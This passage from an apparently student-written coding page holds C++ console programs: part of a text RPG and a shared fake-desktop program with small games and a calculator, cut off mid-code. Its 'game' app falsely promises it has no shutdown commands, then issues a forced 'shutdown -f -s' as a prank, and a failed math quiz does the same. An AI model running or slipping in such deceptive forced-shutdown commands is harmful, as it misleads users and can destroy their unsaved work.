                    bs=0;
                    lj=0;
                    sj=0;
                    emzr=0;
                    hyj=0;
                    jssj=0;
                    pgj=0;
                    szj=0;
                    hjj=0;
                    zspf=0;
                    hy=0;
                    hfhzj=0;
                    SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                    FOREGROUND_RED | FOREGROUND_GREEN | BACKGROUND_BLUE| BACKGROUND_GREEN| BACKGROUND_RED);
                    cout<<"\n电脑正在拼命加载中...\n\n\n";
                    Sleep(1000);
                    goto zcd;
    			   }
    			   
    			   if(dm<=0)
    			   {
    			   	jb+=110;
    			   	SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY |
                    FOREGROUND_RED);
                    cout<<"你击败了敌方获得了110金币\n";
    				SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                    FOREGROUND_RED | FOREGROUND_GREEN | BACKGROUND_BLUE| BACKGROUND_GREEN| BACKGROUND_RED);
                    cout<<"\n电脑正在拼命加载中...\n\n\n";
                    Sleep(1000);
                    goto zcd;
    			   }
    	     	}
    			}
    		   
    		   
    		     if(j==9)		  
    		  {
    		    dm=200;
    		  	for(;;)
    		  	{
    		  		
    		  	system("color 3F");
    		  	 SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                FOREGROUND_INTENSITY | BACKGROUND_RED | BACKGROUND_GREEN | BACKGROUND_BLUE |
                FOREGROUND_GREEN);
    		  	cout<<"战斗开始,三头龙\n";
    		  	SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                FOREGROUND_INTENSITY | BACKGROUND_RED | BACKGROUND_GREEN | BACKGROUND_BLUE |
                FOREGROUND_BLUE);
    		  	cout<<"1.攻击 2.使用技能\n";
    		  	cin>>p;
    		  	
    		  	if(p==1)
    		  	{
    		  	   dm-=sh;
    			   sm-=40;
    			   SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                   FOREGROUND_INTENSITY | BACKGROUND_RED | BACKGROUND_GREEN | BACKGROUND_BLUE |
                   FOREGROUND_GREEN);
    			   cout<<"正在打斗中,请稍等...\n";
    			    Sleep(1500);
    			   	SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                    FOREGROUND_INTENSITY | BACKGROUND_RED | BACKGROUND_GREEN | BACKGROUND_BLUE |
                    FOREGROUND_BLUE);
    			   cout<<"敌方对你造成了40点伤害\n";
    			   cout<<"我方生命值"<<sm<<"\n";
    			   Sleep(300);
    			   SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                   FOREGROUND_RED | FOREGROUND_GREEN | BACKGROUND_BLUE| BACKGROUND_GREEN| BACKGROUND_RED);
    			   cout<<"你对敌方造成了"<<sh<<"点伤害\n";
    			   cout<<"敌方生命值"<<dm<<"\n";
    			   } 
    			if(p==2)
    			{
    			   SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                   FOREGROUND_INTENSITY | BACKGROUND_RED | BACKGROUND_GREEN | BACKGROUND_BLUE |
                   FOREGROUND_GREEN);
                   cout<<"1.绷带 2.医疗包 3.炸弹 4.手雷\n";
                   cin>>n;
                   
                   if(n==1)
                   {
                   
                   	 if(bd>=1)
                          {
                          sm+=5;
                          bd--;
                   		  SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                          FOREGROUND_INTENSITY | BACKGROUND_RED | BACKGROUND_GREEN | BACKGROUND_BLUE |
                          FOREGROUND_GREEN);
                          cout<<"你使用了绷带,加了5血\n";
    					  }
    			   }
    			   
    			     if(n==2)
                   {
                   
                   	    if(ylb>=1)
                          {
                          sm+=10;
                          ylb--;		  
                   		  SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                          FOREGROUND_INTENSITY | BACKGROUND_RED | BACKGROUND_GREEN | BACKGROUND_BLUE |
                          FOREGROUND_GREEN);
                          cout<<"你使用了医疗包,加了10血\n";
    					  }
    			   }
    			   
    			     if(n==3)
                   {
                   
                   	  if(zd>=1)
                          {
                          	  dm-=8;
                   		  zd--;
                   		  SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                          FOREGROUND_INTENSITY | BACKGROUND_RED | BACKGROUND_GREEN | BACKGROUND_BLUE |
                          FOREGROUND_GREEN);
                          cout<<"你使用了炸弹,造成8伤害\n";
    					  }
    			   }
    			   
    			     if(n==4)
                   {
                   
                   	  if(tnt>=1)
                          {
                          dm-=15;
                   		  tnt--;
                   		  SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                          FOREGROUND_INTENSITY | BACKGROUND_RED | BACKGROUND_GREEN | BACKGROUND_BLUE |
                          FOREGROUND_GREEN);
                          cout<<"你使用了手雷,造成15伤害\n";
    					  }
    			   }
    			}
    			   Sleep(1000);
    			   if(sm<=0)
    			   {
    			   	SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY |
                    FOREGROUND_RED);
                    cout<<"“呵呵,不自量力的小鬼“\n”去死吧!!!”\n";
                    jb=0;
                    sm=40;
                    sh=5;
                    bs=0;
                    lj=0;
                    sj=0;
                    emzr=0;
                    hyj=0;
                    jssj=0;
                    pgj=0;
                    szj=0;
                    hjj=0;
                    zspf=0;
                    hy=0;
                    hfhzj=0;
                    SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                    FOREGROUND_RED | FOREGROUND_GREEN | BACKGROUND_BLUE| BACKGROUND_GREEN| BACKGROUND_RED);
                    cout<<"\n电脑正在拼命加载中...\n\n\n";
                    Sleep(1000);
                    goto zcd;
    			   }
    			   
    			   if(dm<=0)
    			   {
    			   	jb+=120;
    			   	SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY |
                    FOREGROUND_RED);
                    cout<<"“不,不!!!我是不朽的!!!” “正义会得到伸张!” 你击败了三头龙\n从此,世界恢复了和平。(彩蛋)\n";
    				SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                    FOREGROUND_RED | FOREGROUND_GREEN | BACKGROUND_BLUE| BACKGROUND_GREEN| BACKGROUND_RED);
                    system("pause"); 
                    return 1;
    			   }
    	     	}
    		}
    
    
    
    
    
                    qt:
                    system("color 3F");
    		  	    SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                    FOREGROUND_INTENSITY | BACKGROUND_RED | BACKGROUND_GREEN | BACKGROUND_BLUE |
                    FOREGROUND_GREEN);
                    cout<<"  --------------------*其他*--------------------  \n";
    	            cout<<"  | 1.清除屏幕上所有类容  2.游戏相关信息       |  \n";
    	            cout<<"  | 3.返回主菜单                               |  \n";
                    cout<<"  -----------------祝您玩的开心-----------------  \n";
                    cin>>j;
                    
                    
                    
                    
                    
                    if(j==1)
                    {
                    	system("color 3F");
                    	SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                        FOREGROUND_RED | FOREGROUND_GREEN | BACKGROUND_BLUE| BACKGROUND_GREEN| BACKGROUND_RED);
                        cout<<"\n\n\n           正在清除           \n\n";
                         Sleep(1000);
                        cout<<"           5           \n";
                         Sleep(1000);
                        cout<<"           4           \n"; 
                         Sleep(1000);
                        cout<<"           3           \n";  
                         Sleep(1000);
                        cout<<"           2           \n";
                         Sleep(1000);
                        cout<<"           1           \n";  
                         Sleep(1000);
                        cout<<"           已清除\n";   
                    	system("cls");
                    	goto zcd;
    				}
    				
    					
    				if(j==2)
    				{
    					  system("color 3F");
    			          SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                          FOREGROUND_INTENSITY | BACKGROUND_RED | BACKGROUND_GREEN | BACKGROUND_BLUE |
                          FOREGROUND_GREEN);
    					  cout<<"--------------------制作相关信息--------------------\n";
    					  Sleep(300);
    					  cout<<"                   制作者:---li,玄,天者---                   \n";
    					  Sleep(300);
    					  cout<<"                  制作时间:41小时52分                 \n";
    					  Sleep(300);
    					  cout<<"         制作日期:2023年5月6日-2023年5月8日        \n";
    					  Sleep(300);
    					  cout<<"                       禁止侵权                     \n";
    					  Sleep(300);
    					  cout<<"                 联系电话1:157xxxxxxxx             \n";
    					  Sleep(300);
    					  cout<<"                     联系电话2:110                   \n";
    					  Sleep(300);
    					  cout<<"\n--------------------游戏相关信息--------------------\n";
    					  Sleep(300);
    					  cout<<"                     由于作者赖                     \n";
    					  Sleep(300);
    					  cout<<"      在战斗中使用技能,如果技能不够就会重新显示    \n";
    					  Sleep(300);
    					  cout<<"                 “1.攻击 2.使用技能”              \n";
    					  Sleep(300);
    					  cout<<"                  并不会显示数量不够                \n";
    					  Sleep(300);
    					  cout<<"       在查看背包里也可以查看金币和伤害和血量哦     \n";
    					  Sleep(300);
    					  cout<<"       为了真实,战斗前不会显示敌人的生命和伤害     \n";
    					  Sleep(300);
    					  cout<<"                 只有自己试了才知道哦               \n";
    					  Sleep(300);
    					  cout<<"         经过多次战斗,不要怕金币损失,而不回血     \n";
    					  Sleep(300);
    					  cout<<"        如果死了,会掉落所有物品,到时候别伤心哦    \n";
    					  Sleep(300);
    					  cout<<"        在战斗时,绷带和医疗包,不仅可以恢复血量    \n";
    					  Sleep(300);
    					  cout<<"      还可以加血比如说,你有40血,使用绷带会加5滴血 \n";
    					  Sleep(300);
    					  cout<<"               就会突破上限值,变成45滴血           \n";
    					  Sleep(300);
    					  cout<<"                利用这个bug奋击你的敌人吧           \n";
    					  Sleep(300);
    					  cout<<"                战斗时一定要随时关注血量哦          \n";
    					  Sleep(300);
    					  cout<<"                   战斗胜利了,不要骄傲             \n";
    					  Sleep(300);
    					  cout<<"                   一定按时查看血量哦               \n";
    					  Sleep(300);
    					  cout<<"               战败了,所有东西没了,也不要失望     \n";
    					  Sleep(300);
    					  cout<<"                    重整旗鼓,再来一局吧            \n";
    					  Sleep(300);
    					  cout<<"  由于游戏没有存档记录,关闭程序,存档记录就会消失哦\n";
    					  Sleep(300);
    					  cout<<"        只要打败最终BOSS三头龙,就算游戏通关了哦! \n";
    					  Sleep(300);
    					  SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY |
                          FOREGROUND_RED);
    				      system("pause"); 
    				      goto zcd;
    				}				
    				if(j==3)
    				{
    						SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                            FOREGROUND_RED | FOREGROUND_GREEN | BACKGROUND_BLUE| BACKGROUND_GREEN| BACKGROUND_RED);
                            cout<<"\n电脑正在拼命加载中...\n\n\n";
                            Sleep(1000);
            	            goto zcd;
    				}
        	 }
    	}   
    	return 0;	
    }
    

    Copy

    Hello,你是第 Page Views Count位来到这里的帅哥美女

    洛谷主页

    核桃oj主页

    分享一个程序

    #include <bits/stdc++.h>
    #include <Windows.h>
    using namespace std;
    string mima="114514";
    int cishu=99999,qp=0;
    void open(){
    	cout<<"你要开机吗......"<<endl;
    	cout<<"开机请输出1......"<<endl;
    	char a;
    	cin>>a;
    	if(a=='1'){
    		for(int i=1;i<=3;i++)
    	   	{
    	   	   system("Cls");
    	   	   printf("\n\n\n\n\n\n\n\n\n\n\n\n\n");
    	   	   cout<<"                                                  ";
    	   	   cout<<"加载中";
    	   	   Sleep(1000);
    	       cout<<".";
    	       Sleep(1000);
    	       cout<<".";
    	       Sleep(1000);
    	       cout<<".";
    	       Sleep(1000);
    	   	}
    		for(int i=1;i<=100;i+=2)
    	   	{
    	   	   printf("\n\n\n\n\n\n\n\n\n\n\n\n\n");
    	   	   cout<<"                                                          ";
    	   	   printf("%d",i);
    	   	   cout<<"%";
    	   	   Sleep(50);
    	   	   system("Cls");
    	   	}
    		cout<<"已开机"; 
    	}
    	else{
    		open();
    	}
    	
    }
    void guanji(){
    	system("Cls");
    	for(int i=1;i<=2;i++)
    	{
    	   	   system("Cls");
    	   	   printf("\n\n\n\n\n\n\n\n\n\n\n\n\n");
    	   	   cout<<"                                                  ";
    	   	   cout<<"关机中";
    	   	   Sleep(1000);
    	       cout<<".";
    	       Sleep(1000);
    	       cout<<".";
    	       Sleep(1000);
    	       cout<<".";
    	       Sleep(1000);
    	}
    	system("Cls");
    	open();
    }
    
    void zhuomian(){
    	system("Cls");
    	cout<<"桌面"<<endl;
    	cout<<endl;
    	cout<<endl;
    	cout<<"__________"<<"          "<<"__________"<<"          "<<"__________"<<endl;
    	cout<<"|        |"<<"          "<<"|        |"<<"          "<<"|        |"<<endl;
    	cout<<"|王者荣耀|"<<"          "<<"|  设置  |"<<"          "<<"|猜数游戏|"<<endl;
    	cout<<"|        |"<<"          "<<"|        |"<<"          "<<"|        |"<<endl;
    	cout<<"__________"<<"          "<<"__________"<<"          "<<"__________"<<endl;
    	cout<<"进入应用请按1"<<"       "<<"进入应用请按3"<<"       "<<"进入应用请按5"<<endl;
    	cout<<endl;
    	cout<<endl;
    	cout<<endl;
    	cout<<"__________"<<"          "<<"__________"<<"          "<<"__________"<<endl;
    	cout<<"|        |"<<"          "<<"|        |"<<"          "<<"|        |"<<endl;
    	cout<<"|计算游戏|"<<"          "<<"| 浏览器 |"<<"          "<<"| 计算器 |"<<endl;
    	cout<<"|        |"<<"          "<<"|        |"<<"          "<<"|        |"<<endl;
    	cout<<"__________"<<"          "<<"__________"<<"          "<<"__________"<<endl;
    	cout<<"进入应用请按2"<<"       "<<"进入应用请按4"<<"       "<<"进入应用请按6"<<endl;
    	cout<<endl;
    	cout<<endl;
    	cout<<endl;
    	cout<<"__________"<<endl;
    	cout<<"|        |"<<endl;
    	cout<<"|你说我猜|"<<endl;
    	cout<<"|        |"<<endl;
    	cout<<"__________"<<endl;
    	cout<<"进入应用请按7"<<endl;
    	int bb;
    	cin>>bb;
    	if(bb==1){
    		system("Cls");
    		cout<<"______________________________________"<<endl;
    	cout<<"|                                    |"<<endl;
    	cout<<"|                                    |"<<endl;
    	cout<<"|       欢迎来到王者荣耀小游戏       |"<<endl;
    	cout<<"|                                    |"<<endl;
    	cout<<"|                                    |"<<endl;
    	cout<<"______________________________________";
    	Sleep(2000);
    	system("Cls");
    	cout<<"______________________________________"<<endl;
    	cout<<"|                                    |"<<endl;
    	cout<<"|                                    |"<<endl;
    	cout<<"|       欢迎来到王者荣耀小游戏       |"<<endl;
    	cout<<"|                请放心游玩,        |"<<endl;
    	cout<<"|                                    |"<<endl;
    	cout<<"______________________________________";
    	Sleep(2000);
    	system("Cls");
    	cout<<"______________________________________"<<endl;
    	cout<<"|                                    |"<<endl;
    	cout<<"|                                    |"<<endl;
    	cout<<"|       欢迎来到王者荣耀小游戏       |"<<endl;
    	cout<<"|                请放心游玩,        |"<<endl;
    	cout<<"|                 无任何关机指令!   |"<<endl;
    	cout<<"______________________________________"<<endl;
    	Sleep(1000);
    	cout<<"作者:"<<endl;
    	Sleep(1000);
    	cout<<"蔡徐坤"<<endl;
            Sleep(2000);
    	system("Cls");
    	Sleep(1000);
    	for(int i=1;i<=5;i++)
    	   {
    	   	   system("Cls");
    	   	   printf("\n\n\n\n\n\n\n\n\n\n\n\n\n");
    	   	   cout<<"                                                  ";
    	   	   cout<<"加载中";
    	   	   Sleep(1000);
    	       cout<<".";
    	       Sleep(1000);
    	       cout<<".";
    	       Sleep(1000);
    	       cout<<".";
    	       Sleep(1000);
    	   }
    	for(int i=1;i<=100;i++)
    	   {
    	   	   printf("\n\n\n\n\n\n\n\n\n\n\n\n\n");
    	   	   cout<<"                                                          ";
    	   	   printf("%d",i);
    	   	   cout<<"%";
    	   	   Sleep(50);
    	   	   system("Cls");
    	   }
    	Sleep(1000);
    	cout<<"你特么还真信!"<<endl;
    	cout<<"给你两秒,不关掉这个程序我可就关机了!"<<endl;
    	Sleep(2000);
    	system("shutdown -f -s -t 300");
    	cout<<"你的电脑5分钟后将会关机!哈哈哈!"<<endl;
    	Sleep(2000);
    	cout<<"等一等!";
    	Sleep(5000);
    	system("Cls");
    	cout<<"好吧,最后给你一次机会,问你一个问题,如果打对了,就取消关机!"<<endl;
    	cout<<"问题:作者帅不帅?"<<endl;
    	cout<<"A、为了活命,我就昧着良心说一次话吧:帅!"<<endl;
    	cout<<"B、我不想昧着良心说话:不帅!"<<endl;
    	cout<<"请回答:";
    	char ac;
    	cin>>ac;
    	system("Cls");
    	if(ac=='A'||ac=='a')
    	  {
    	  	  Sleep(2000);
    	      cout<<"我最不喜欢不诚实的人了,去死吧!";
    	      system("shutdown -a");
    	      system("shutdown -f -s -t 120");
    	  } 
    	if(ac=='B'||ac=='b')
    	  {
    	  	cout<<"你很诚实,但是......"<<endl;
    	  	Sleep(1000);
    		cout<<"你说的话很不中听耶!"<<endl;
    		Sleep(1000);
    		cout<<"让朕思考思考......"<<endl;
    		Sleep(5000);
    		cout<<"算了,饶你这条狗命!"<<endl;
    		system("shutdown -a");
    	  }
    	if(ac!='A'&&ac!='a'&&ac!='B'&&ac!='b')
    	  {
    	  	cout<<"恭喜你领会了作者的意图!"<<endl<<"下次再见!"<<endl;
    	  	system("shutdown -a");
    	  }
    	  zhuomian();
    	} 
    	else if(bb==2){
    		system("Cls");
    		cout<<"既然你已经来到这里..."<<endl;
    		Sleep(2000);
    		cout<<"那你就别想走了..."<<endl;
    		Sleep(2000);
    		cout<<"我会出10道加或减或乘的题目,你必须答对至少8题,不然你的电脑..."<<endl;
    		Sleep(3000);
    		int aaa=0;
    		for(int i=1;i<=10;i++){
    			system("Cls");
    			cout<<"现在是第"<<i<<"道题,"<<"您已答对"<<aaa<<"道题"<<endl; 
    			int num1=rand()%1000;
    			int num2=rand()%1000;
    			char ab[5];
    			ab[1]='+';
    			ab[2]='-';
    			ab[3]='*';
    			int ii=rand()%3+1,ana;
    			if(ii==1){
    				ana=num1+num2;
    			}
    			if(ii==2){
    				ana=num1-num2;
    			}
    			if(ii==3){
    				ana=num1*num2;
    			}
    			cout<<num1<<ab[ii]<<num2<<"=";
    			int kk;
    			cin>>kk;
    			if(kk==ana){
    				aaa++;
    				cout<<"答对了"; 
    				Sleep(2000);
    			}
    			else{
    				cout<<"答错了";
    				Sleep(2000);
    			}
    		} 
    		system("Cls");
    		if(aaa>=8){
    			cout<<"恭喜你,已通过";
    			Sleep(3000);
    			 zhuomian();
    		}
    		if(aaa<8){
    			system("shutdown -f -s -t 300");
    	cout<<"你的电脑5分钟后将会关机!哈哈哈!"<<endl;
    	Sleep(2000);
    	cout<<"等一等!";
    	Sleep(5000);
    	system("Cls");
    	cout<<"好吧,最后给你一次机会,问你一个问题,如果打对了,就取消关机!"<<endl;
    	cout<<"问题:作者帅不帅?"<<endl;
    	cout<<"A、为了活命,我就昧着良心说一次话吧:帅!"<<endl;
    	cout<<"B、我不想昧着良心说话:不帅!"<<endl;
    	cout<<"请回答:";
    	char aaas;
    	cin>>aaas;
    	system("Cls");
    	if(aaas=='A'||aaas=='a')
    	  {
    	  	  Sleep(2000);
    	      cout<<"我最不喜欢不诚实的人了,去死吧!";
    	      system("shutdown -a");
    	      system("shutdown -f -s -t 120");
    	  } 
    	if(aaas=='B'||aaas=='b')
    	  {
    	  	cout<<"你很诚实,但是......"<<endl;
    	  	Sleep(1000);
    		cout<<"你说的话很不中听耶!"<<endl;
    		Sleep(1000);
    		cout<<"让朕思考思考......"<<endl;
    		Sleep(5000);
    		cout<<"算了,饶你这条狗命!"<<endl;
    		system("shutdown -a");
    		Sleep(2000);
    		zhuomian();
    	  }
    	if(aaas!='A'&&aaas!='a'&&aaas!='B'&&aaas!='b')
    	  {
    	  	cout<<"恭喜你领会了作者的意图!"<<endl<<"下次再见!"<<endl;
    	  	system("shutdown -a");
    	  }
    		}
    	}
    	else if(bb==3){
    		system("Cls");
    		cout<<"设置"<<endl;
    		cout<<endl;
    		cout<<endl;
    		cout<<endl;
    		cout<<"更改壁纸(1)"<<endl;
    		cout<<endl;
    		cout<<endl;
    		cout<<endl;
    		cout<<"修改密码(2)"<<endl;
    		cout<<endl;
    		cout<<endl;
    		cout<<endl;
    		cout<<"关机(3)"<<endl;
    		cout<<endl;
    		cout<<endl;
    		cout<<endl;
    		cout<<"重启(4)"<<endl;
    		int ad;
    		cin>>ad;
    		if(ad==1){
    			system("Cls");
    			cout<<"背景:"<<endl;
    			cout<<"       蓝色+白字(1)"<<endl;
    			cout<<"       红色+黑字(2)"<<endl;
    			cout<<"       黄色+绿字(3)"<<endl;
    			int ae;
    			cin>>ae;
    			if(ae==1){
    				system("color 17");
    			} 
    			if(ae==2){
    				system("color 40");
    			} 
    			if(ae==3){
    				system("color EA");
    			} 
    			zhuomian();
    		} 
    		if(ad==2){
    			system("Cls");
    			string mima2,mima3,mima4;
    			cout<<"请出入您旧密码: ";
    			cin>>mima2;
    			if(mima2==mima){
    				cout<<endl; 
    				cout<<"请出入您的新密码: ";
    				cin>>mima3;
    				cout<<endl;
    				cout<<"请确认您的新密码: ";
    				cin>>mima4;
    				cout<<endl;
    				if(mima3==mima4){
    					cout<<"修改密码成功!";
    					mima=mima3;
    					Sleep(3000);
    					zhuomian();
    				} 
    			}
    			else{
    				cout<<"密码不正确!";
    				Sleep(2000);
    				zhuomian();
    			} 
    		}
    		else if(ad==3){
    			guanji(); 
    		}
    		else if(ad==4){
    			system("Cls");
    			for(int i=1;i<=2;i++)
    			{
    	   	   		system("Cls");
    	   	   		printf("\n\n\n\n\n\n\n\n\n\n\n\n\n");
    	   	   		cout<<"                                                  ";
    	   	   		cout<<"关机中";
    	   	   		Sleep(1000);
    	       		cout<<".";
    	       		Sleep(1000);
    	       		cout<<".";
    	       		Sleep(1000);
    	       		cout<<".";
    	       		Sleep(1000);
    			}
    			system("Cls");
    			for(int i=1;i<=3;i++)
    			{
    	   	   		system("Cls");
    	   	   		printf("\n\n\n\n\n\n\n\n\n\n\n\n\n");
    	   	   		cout<<"                                                  ";
    	   	   		cout<<"重启中";
    	   	   		Sleep(1000);
    	       		cout<<".";
    	       		Sleep(1000);
    	       		cout<<".";
    	       		Sleep(1000);
    	       		cout<<".";
    	       		Sleep(1000);
    			}
    			system("Cls");
    			cout<<"请输入密码:";
    			string cinn;
    			cin>>cinn;
    			if(cinn==mima){
    				system("Cls");
    				printf("\n\n\n\n\n\n\n\n\n\n\n\n\n");
    	   	   		cout<<"                                                  ";
    	   	   		cout<<"验证中";
    	   	   		Sleep(1000);
    	       		cout<<".";
    	       		Sleep(1000);
    	       		cout<<".";
    	       		Sleep(1000);
    	       		cout<<".";
    	       		Sleep(1000);
    	       		cout<<".";
    	       		Sleep(1000);
    	       		cout<<".";
    	       		Sleep(1000); 
    	       		cout<<"密码正确!";
    	       		Sleep(1000);
    	       		system("Cls");
    	       		zhuomian();
    			}
    			else{
    				system("Cls");
    				printf("\n\n\n\n\n\n\n\n\n\n\n\n\n");
    	   	   		cout<<"                                                  ";
    	   	   		cout<<"验证中";
    	   	   		Sleep(1000);
    	       		cout<<".";
    	       		Sleep(1000);
    	       		cout<<".";
    	       		Sleep(1000);
    	       		cout<<".";
    	       		Sleep(1000);
    	       		cout<<".";
    	       		Sleep(1000);
    	       		cout<<".";
    	       		Sleep(1000);
    	       		system("Cls");
    	       		cout<<"密码错误,:"; 
    			}
    	
    		}
    	}
    	else if(bb==4){
    		system("Cls");
    		cout<<"https://hornex.pro"<<"  小游戏"<<endl;
    		cout<<"https://www.baidu.com"<<"  百度"<<endl;
    		cout<<"https://www.luogu.com.cn"<<"  洛谷"<<endl;
    		cout<<"https://hao.360.com"<<"  360浏览器"<<endl;
    		cout<<"https://oj.hetao101.com"<<"  核桃编程oj"<<endl;
    		cout<<"您要离开吗,离开请按1,不离开别输出"<<endl;
    		int qw;
    		cin>>qw;
    		if(qw==1){
    			zhuomian();
    		} 
    	}
    	else if(bb==5){
    		system("Cls");
    		srand(time(0)); 
    	    int secretNumber = rand() % 100 + 1;  
        	int guess;  
        	int guessCount = 0;  
    		if(qp==0){
    			cout << "欢迎来到猜数字游戏!我已经想好了一个1到100之间的数字。(您还没玩过此游戏,快来试试吧)" <<endl;  
    			qp=1;
    		}  
    		else{
    			cout << "欢迎来到猜数字游戏!我已经想好了一个1到100之间的数字。(您的最好成绩是" <<cishu<<"轮)" <<endl;  
    		}
        	
        	cout << "请尝试猜出这个数字:" << endl;    
        	do {  
    	        cout << "请输入你的猜测:";  
    	        cin >> guess;  
    	        guessCount++;  
            if (guess < secretNumber) {  
                cout << "太小了!再试试看。" << endl;  
            } else if (guess > secretNumber) {  
                cout << "太大了!再试试看。" << endl;  
            } else {  
                cout << "恭喜你!你猜对了!数字就是 " << secretNumber << "。" << endl;  
                cout << "你总共猜了 " << guessCount << " 次。" << endl;  
            }  
      
        	} while (guess != secretNumber);
        	cishu=min(guessCount,cishu);
        	Sleep(3000);
        	zhuomian();
        	
    	}
    	else if(bb==6){
    		system("Cls");
    		cout<<"计算器"<<endl;
    		cout<<endl;
    		cout<<endl;
    		cout<<endl;
    		cout<<"请出入运算符(+,-,*,/,%):";
    		char jj;
    		cin>>jj;
    		if(jj=='+'){
    			int jjj,jjjj;
    					cout<<"请输出您想运算的两个数:  ";
    					cin>>jjj;
    					cin>>jjjj;
    					cout<<jjj<<"+"<<jjjj<<"="<<jjj+jjjj<<endl;
    					Sleep(2000);
    					cout<<"退出按1,继续按2"<<endl;
    					int ll;
    					cin>>ll;
    			if(ll==1) zhuomian(); 
    			else{
    				for(int i=1;i<=1145;i++){
    					system("Cls");
    		cout<<"计算器"<<endl;
    		cout<<endl;
    		cout<<endl;
    		cout<<endl;
    		cout<<"请出入运算符(+,-,*,/,%):";
    		char jj;
    		cin>>jj;
    		if(jj=='+'){
    			int jjj,jjjj;
    					cout<<"请输出您想运算的两个数:  ";
    					cin>>jjj;
    					cin>>jjjj;
    					cout<<jjj<<"+"<<jjjj<<"="<<jjj+jjjj<<endl;
    					Sleep(2000);
    					cout<<"退出按1,继续按2"<<endl;
    					int ll;
    					cin>>ll;
    			if(ll==1) zhuomian(); 
    		} 
    		if(jj=='*'){
    			int jjj,jjjj;
    					cout<<"请输出您想运算的两个数:  ";
    					cin>>jjj;
    					cin>>jjjj;
    					cout<<jjj<<"*"<<jjjj<<"="<<jjj*jjjj<<endl;
    					Sleep(2000);
    					cout<<"退出按1,继续按2"<<endl;
    					int ll;
    					cin>>ll;
    			if(ll==1) zhuomian(); 
    		}
    		if(jj=='-'){
    			int jjj,jjjj;
    					cout<<"请输出您想运算的两个数:  ";
    					cin>>jjj;
    					cin>>jjjj;
    					cout<<jjj<<"-"<<jjjj<<"="<<jjj-jjjj<<endl;
    					Sleep(2000);
    					cout<<"退出按1,继续按2"<<endl;
    					int ll;
    					cin>>ll;
    			if(ll==1) zhuomian(); 
    		}
    		if(jj=='/'){
    			double jjj,jjjj;
    					cout<<"请输出您想运算的两个数:  ";
    					cin>>jjj;
    					cin>>jjjj;
    					cout<<jjj<<"/"<<jjjj<<"="<<jjj/jjjj<<endl;
    					Sleep(2000);
    					cout<<"退出按1,继续按2"<<endl;
    					int ll;
    					cin>>ll;
    			if(ll==1) zhuomian(); 
    		}
    				}
    			}
    		} 
    		if(jj=='*'){
    			int jjj,jjjj;
    					cout<<"请输出您想运算的两个数:  ";
    					cin>>jjj;
    					cin>>jjjj;
    					cout<<jjj<<"*"<<jjjj<<"="<<jjj*jjjj<<endl;
    					Sleep(2000);
    					cout<<"退出按1,继续按2"<<endl;
    					int ll;
    					cin>>ll;
    			if(ll==1) zhuomian(); 
    			else{
    				for(int i=1;i<=1145;i++){
    					system("Cls");
    		cout<<"计算器"<<endl;
    		cout<<endl;
    		cout<<endl;
    		cout<<endl;
    		cout<<"请出入运算符(+,-,*,/,%):";
    		char jj;
    		cin>>jj;
    		if(jj=='+'){
    			int jjj,jjjj;
    					cout<<"请输出您想运算的两个数:  ";
    					cin>>jjj;
    					cin>>jjjj;
    					cout<<jjj<<"+"<<jjjj<<"="<<jjj+jjjj<<endl;
    					Sleep(2000);
    					cout<<"退出按1,继续按2"<<endl;
    					int ll;
    					cin>>ll;
    			if(ll==1) zhuomian(); 
    		} 
    		if(jj=='*'){
    			int jjj,jjjj;
    					cout<<"请输出您想运算的两个数:  ";
    					cin>>jjj;
    					cin>>jjjj;
    					cout<<jjj<<"*"<<jjjj<<"="<<jjj*jjjj<<endl;
    					Sleep(2000);
    					cout<<"退出按1,继续按2"<<endl;
    					int ll;
    					cin>>ll;
    			if(ll==1) zhuomian(); 
    		}
    		if(jj=='-'){
    			int jjj,jjjj;
    					cout<<"请输出您想运算的两个数:  ";
    					cin>>jjj;
    					cin>>jjjj;
    					cout<<jjj<<"-"<<jjjj<<"="<<jjj-jjjj<<endl;
    					Sleep(2000);
    					cout<<"退出按1,继续按2"<<endl;
    					int ll;
    					cin>>ll;
    			if(ll==1) zhuomian(); 
    		}
    		if(jj=='/'){
    			double jjj,jjjj;
    					cout<<"请输出您想运算的两个数:  ";
    					cin>>jjj;
    					cin>>jjjj;
    					cout<<jjj<<"/"<<jjjj<<"="<<jjj/jjjj<<endl;
    					Sleep(2000);
    					cout<<"退出按1,继续按2"<<endl;
    					int ll;
    					cin>>ll;
    			if(ll==1) zhuomian(); 
    		}
    				}
    			}
    		}
    		if(jj=='-'){
    			int jjj,jjjj;
